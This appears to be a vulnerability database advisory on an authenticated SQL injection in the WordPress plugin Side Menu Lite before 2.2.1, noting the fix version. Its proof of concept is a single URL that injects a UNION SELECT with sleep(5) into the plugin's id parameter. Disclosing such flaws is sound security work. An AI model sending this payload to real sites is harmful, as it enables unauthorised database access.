WordPress Plugin Vulnerabilities

Side Menu Lite < 2.2.1 - Authenticated SQL Injection

Description

The plugin does not properly sanitize input values from the browser when building an SQL statement. Users with the administrator role or permission to manage this plugin could perform an SQL Injection attack.

Proof of Concept

http://www.example.com/wp-admin/admin.php?page=side-menu-lite&tab=add-new&act=duplicate&id=0 union select 1,2,sleep(5)

Visiting the page will be delayed by 5 seconds, due to the sleep(5) injected in to the SQL query.

Affects Plugins

Fixed in 2.2.1
